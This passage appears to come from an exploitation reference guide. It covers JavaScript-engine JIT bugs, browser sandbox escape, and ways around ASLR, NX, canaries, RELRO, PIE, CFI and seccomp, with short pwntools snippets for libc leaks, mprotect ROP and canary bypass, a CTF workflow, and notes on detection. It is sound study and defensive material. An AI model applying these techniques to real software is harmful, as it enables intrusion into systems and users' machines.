| Browser IPC/Mojo | Logic bugs, race conditions | Provides escape itself |
| GPU process | Shader compiler bugs, driver vulns | Depends on architecture |
| Network stack | Parser bugs, protocol confusion | Yes |
| PDF/Media parsers | Memory corruption | Yes |

### 7.2 JavaScript Engine Exploitation

**JIT Compilation Bugs**:
- JIT compilers make optimistic type assumptions
- Incorrect type speculation -> type confusion in JIT-compiled code
- Bounds check elimination errors -> OOB array access
- Turbofan (V8) / IonMonkey (SpiderMonkey) / DFG/FTL (JSC) are common targets

**Type Confusion Pattern**:
```javascript
// Trigger JIT compilation with type-stable inputs
function vuln(arr) {
    // JIT assumes arr is always Array<SMI>
    return arr[0];  // compiled without bounds check
}
// Force type change -> JIT code operates on wrong object layout
// arr[0] read with wrong type -> info leak or arbitrary read
```

**Exploit Primitive Construction**:
1. **addrof**: Get the memory address of a JavaScript object
2. **fakeobj**: Create a fake JS object from a controlled address
3. **Arbitrary R/W**: Use fake ArrayBuffer backing store pointer
4. **Code execution**: Overwrite JIT code page (RWX in some engines), WASM instance, or leverage `WebAssembly.Instance`

**V8 Exploitation Flow**:
```
Bug trigger -> Type confusion / OOB
  -> addrof/fakeobj primitives
  -> Fake ArrayBuffer with controlled backing store
  -> Arbitrary read/write
  -> Corrupt WASM RWX page or JIT code
  -> Shellcode execution in renderer
  -> Sandbox escape (separate bug needed)
```

### 7.3 Sandbox Escape

Browsers isolate the renderer in a sandbox. Full exploitation requires escaping:

- **IPC/Mojo bugs**: Renderer communicates with browser process via Mojo IPC. Logic bugs in message handling can give arbitrary browser process operations.
- **Kernel exploits**: Escape via OS-level vulnerability (Chrome on Android often chains renderer bug + kernel LPE).
- **GPU process**: Less sandboxed than renderer on some platforms. GPU bugs can provide an intermediate escape.
- **Site isolation bypass**: Access cross-origin data without full sandbox escape (lower impact but still critical).

### 7.4 Mitigations in Browser Engines

| Mitigation | Engine | Effect |
|---|---|---|
| V8 Heap Sandbox | V8 (Chrome) | Isolates V8 heap, compressed pointers, prevents arbitrary R/W from escaping V8's heap region |
| Pointer compression | V8 | 32-bit object pointers, limits addressable range |
| CFI | All | Validates indirect call targets |
| Memory Tagging (MTE) | Android Chrome | Probabilistic UAF detection |
| Oilpan (garbage collector) | Blink | Mitigates UAF in DOM objects |
| PartitionAlloc | Chrome | Separate heaps per object type |
| Renderer sandbox | All | OS-level process isolation |

---

## 8. Mitigation Bypass Techniques

### 8.1 ASLR (Address Space Layout Randomization)

**What it does**: Randomizes base addresses of stack, heap, libraries, mmap regions, and (with PIE) the binary itself. Typically 28-40 bits of entropy on 64-bit systems.

**Bypass techniques**:

| Technique | Scenario | Method |
|---|---|---|
| Information leak | Format string, partial read | Leak libc/stack/heap address, calculate base |
| Partial overwrite | Overflow | Overwrite low 1-2 bytes (known due to page alignment), 4-12 bit bruteforce |
| GOT/PLT reuse | No PIE binary | Binary's own GOT/PLT entries are at fixed addresses |
| ret2plt | No PIE | Call PLT stubs without knowing libc base |
| DynELF (pwntools) | Arbitrary read + known binary | Remotely resolve symbols by parsing ELF structures |
| vsyscall page | x86-64 Linux | Fixed address `0xffffffffff600000` (limited gadgets, being phased out) |
| Bruteforce | 32-bit / forking server | ~16 bits entropy on 32-bit, fork() preserves layout |
| Side channels | Local access | /proc/self/maps, cache timing, ASLR entropy reduction |

**Libc base calculation**:
```python
# Leak puts@GOT -> actual puts address
leaked_puts = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts']
# Verify: libc_base should end in 000 (page-aligned)
assert libc_base & 0xfff == 0
```

### 8.2 DEP/NX (Data Execution Prevention / No-Execute)

**What it does**: Mark data regions (stack, heap, .bss) as non-executable. Prevents direct shellcode injection.

**Bypass techniques**:
- **ROP/JOP**: Chain existing executable code gadgets (see Section 3)
- **ret2libc**: Call `system()`, `execve()`, `mprotect()` via ROP
- **mprotect ROP**: Make stack/heap executable, then jump to shellcode:
```python
rop.call('mprotect', [shellcode_page, 0x1000, 7])  # PROT_READ|WRITE|EXEC
rop.raw(shellcode_addr)
```
- **ret2dlresolve**: Resolve arbitrary libc symbols without leak
- **SROP**: Set all registers via sigreturn, call mprotect or execve

### 8.3 Stack Canaries

**What it does**: Random value placed between local variables and saved RBP/return address. Checked before function return; mismatch triggers `__stack_chk_fail` -> abort.

**Properties** (x86-64 Linux):
- 8 bytes, always ends in `\x00` (null byte, to prevent string function leaks)
- Stored in `fs:[0x28]` (TLS), loaded at function prologue, verified at epilogue
- Same canary value for all functions within a thread

**Bypass techniques**:

| Technique | Method |
|---|---|
| Info leak | Format string, read-based leak to obtain canary value |
| Byte-by-byte bruteforce | Forking servers: fork preserves canary, bruteforce 1 byte at a time (256 * 7 = max 1792 attempts) |
| Overwrite `__stack_chk_fail` GOT | If GOT is writable, redirect failure handler |
| Non-return control flow | Overwrite function pointers, vtables, longjmp buffers (never triggers canary check) |
| Stack pivot | Redirect RSP before canary check |
| Thread-local canary overwrite | Buffer overflow reaching `fs:[0x28]` in TLS |
| Exception handlers | Overwrite C++ exception handler or SEH (Windows) before canary check |

```python
# Canary leak + bypass
canary = u64(p.recv(8))  # leaked via format string
payload  = b'A' * buf_size
payload += p64(canary)        # correct canary
payload += b'B' * 8           # saved RBP
payload += p64(target_addr)   # return address
```

### 8.4 RELRO (Relocation Read-Only)

**Partial RELRO** (default): GOT is writable, `.init_array`/`.fini_array`/`.dynamic` are read-only.
- Bypass: GOT overwrite still works

**Full RELRO**: GOT is resolved at load time and made read-only.
- Bypass: Cannot overwrite GOT. Target other writable function pointers:
  - `__malloc_hook` / `__free_hook` (removed in glibc 2.34)
  - `__exit_funcs` (atexit handlers)
  - `_IO_FILE` vtable pointers (restricted in glibc >= 2.24)
  - Stack return addresses
  - C++ vtable pointers
  - Custom function pointer tables in application data

### 8.5 PIE (Position-Independent Executable)

**What it does**: Randomizes the binary's base address (extends ASLR to the main executable).

**Bypass techniques**:
- Leak any binary address -> calculate PIE base (page-aligned)
- Partial overwrite: Low 12 bits are fixed (page offset), overwrite 1-2 bytes for 4-8 bit bruteforce
- Same info leak methods as ASLR bypass

### 8.6 CFI (Control-Flow Integrity) & Shadow Stacks

**Forward-edge CFI** (indirect calls/jumps):
- Validates that indirect call targets match expected type signatures
- **Bypass**: Find valid call targets that happen to be useful (e.g., call target that leads to controllable function pointer dispatch)
- **Bypass**: Data-only attacks that don't hijack control flow (e.g., overwrite non-code-pointer data to change program behavior)
- **Bypass**: Type confusion to find targets that pass CFI checks but have unexpected behavior

**Backward-edge CFI** (returns):
- **Shadow stack** (CET on Intel, PAC on ARM): Separate hardware-protected stack stores return addresses. Return instructions verify return address matches shadow stack.
- **Bypass**: Intel CET shadow stack exceptions for signal handling can be exploited
- **Bypass**: ARM PAC (Pointer Authentication): signing key reuse, PAC oracle attacks (CVE-2023-42824), speculative execution to bypass checks
- **Bypass**: Don't corrupt return addresses at all -- target forward-edge pointers instead

**Data-oriented programming (DOP)**:
When CFI blocks all code pointer corruption, manipulate non-code data to achieve exploitation goals:
- Change `is_admin` flags, file path strings, size variables
- Chain data-oriented gadgets for Turing-complete computation without hijacking control flow

### 8.7 Fortify Source

**What it does**: Compile-time and runtime buffer overflow checks for common functions (`memcpy`, `strcpy`, etc.) when buffer sizes are known.

**Bypass**: Functions where buffer size cannot be statically determined are not fortified. Heap-based overflows, dynamically-sized buffers, and indirect buffer references bypass FORTIFY.

### 8.8 Seccomp (Secure Computing)

**What it does**: Restricts available syscalls. Strict mode: only `read`, `write`, `exit`, `sigreturn`. Filter mode: BPF-based syscall filtering.

**Bypass techniques**:
- Permitted syscall abuse: `mprotect` + `read` for shellcode, `open` + `read` + `write` for file exfiltration
- `openat2` / `openat` vs `open` filter gaps
- Architecture confusion: x86-64 process can use 32-bit syscall numbers via `int 0x80` (if not filtered)
- `prctl` + `seccomp` chaining errors
- Race conditions in filter installation

---

## 9. Methodology & Workflow

### 9.1 CTF Binary Exploitation Workflow

```
1. RECON
   checksec ./binary         # protections
   file ./binary             # arch, linking
   strings ./binary          # interesting data
   Ghidra / r2 analysis      # decompile, understand logic

2. IDENTIFY VULNERABILITY
   - Trace user input to memory operations
   - Find buffer overflow, format string, UAF, heap corruption
   - Note: what protections are enabled affects exploit strategy

3. DETERMINE EXPLOIT STRATEGY
   +-----------------+-----------------------------------+
   | Protections     | Strategy                          |
   +-----------------+-----------------------------------+
   | None            | Shellcode injection               |
   | NX only         | ret2libc / ROP                    |
   | NX + ASLR       | Info leak -> ret2libc / ROP       |
   | NX + ASLR + PIE | Info leak (binary + libc) -> ROP  |
   | + Canary        | Leak canary + above               |
   | + Full RELRO    | Target non-GOT pointers           |
   | + CFI           | Data-only attacks / DOP           |
   +-----------------+-----------------------------------+

4. DEVELOP EXPLOIT
   - Determine offsets (cyclic pattern / manual calculation)
   - Build info leak if needed (format string, partial read)
   - Construct payload (shellcode / ROP chain / heap layout)
   - Handle encoding constraints (bad bytes, length limits)

5. TEST & DEBUG
   gdb -q ./binary
   # Set breakpoints at key locations
   # Verify each exploit stage independently
   # Check stack alignment for x86-64

6. ADAPT FOR REMOTE
   - Different libc version -> adjust offsets
   - Network vs. stdin -> adjust I/O handling
   - Timing / buffering differences
```

### 9.2 Decision Tree: Which Technique?

```
Vulnerability found
|
+-- Buffer overflow on stack?
|   +-- NX disabled? -> Shellcode injection
|   +-- NX enabled?
|       +-- ASLR disabled? -> ret2libc / ROP (hardcoded addresses)
|       +-- ASLR enabled?
|           +-- Have info leak? -> Leak libc base -> ret2libc / one_gadget
|           +-- No info leak?
|               +-- PIE disabled? -> ret2plt / ret2dlresolve
|               +-- PIE enabled? -> Partial overwrite bruteforce
|
+-- Format string?
|   +-- Leak addresses -> ASLR bypass
|   +-- GOT overwrite (if partial RELRO)
|   +-- Arbitrary write -> return address / hook overwrite
|
+-- Heap vulnerability?
|   +-- UAF? -> Tcache/fastbin poisoning -> arbitrary alloc
|   +-- Overflow? -> Chunk metadata corruption -> house-of techniques
|   +-- Double free? -> Overlapping allocations -> code pointer overwrite
|
+-- Kernel vulnerability?
    +-- UAF? -> Cross-cache spray + cred/modprobe_path overwrite
    +-- Overflow? -> Adjacent object corruption -> ROP / data-only
    +-- Race? -> userfaultfd/FUSE to widen window
```

### 9.3 Essential References

| Resource | URL | Focus |
|---|---|---|
| how2heap | github.com/shellphish/how2heap | Heap exploitation techniques with PoCs |
| pwntools docs | docs.pwntools.com | Exploit development framework API |
| ir0nstone notes | ir0nstone.gitbook.io/notes | Stack exploitation walkthroughs |
| linux-kernel-exploitation | github.com/xairy/linux-kernel-exploitation | Kernel exploit research index |
| kernel-exploit-factory | github.com/bsauce/kernel-exploit-factory | Working kernel exploit reproductions |
| ROPgadget | github.com/JonathanSalwan/ROPgadget | Gadget search and chain generation |
| one_gadget | github.com/david942j/one_gadget | Single-gadget RCE in libc |
| Ghidra | github.com/NationalSecurityAgency/ghidra | Decompilation and RE platform |
| radare2 / Rizin | github.com/radareorg/radare2 | CLI RE framework |
| angr | github.com/angr/angr | Symbolic execution for automated solving |
| pwndbg | github.com/pwndbg/pwndbg | GDB plugin for exploit development |
| GEF | github.com/hugsy/gef | GDB plugin, zero-dependency |

---

**DETECTION OPPORTUNITIES** (Purple layer): Binary exploitation leaves forensic artifacts -- core dumps, crash logs in `/var/log/`, unusual `mprotect`/`mmap` syscalls, ROP-characteristic call stacks (many small returns), heap corruption detection via malloc debug (`MALLOC_CHECK_`, AddressSanitizer). Monitor for: anomalous `execve` from unexpected parents, privilege changes (audit `setuid`/`setgid` syscalls), `/proc/self/maps` reads from non-debugger processes, and `prctl(PR_SET_NAME)` used to masquerade process names post-exploitation.
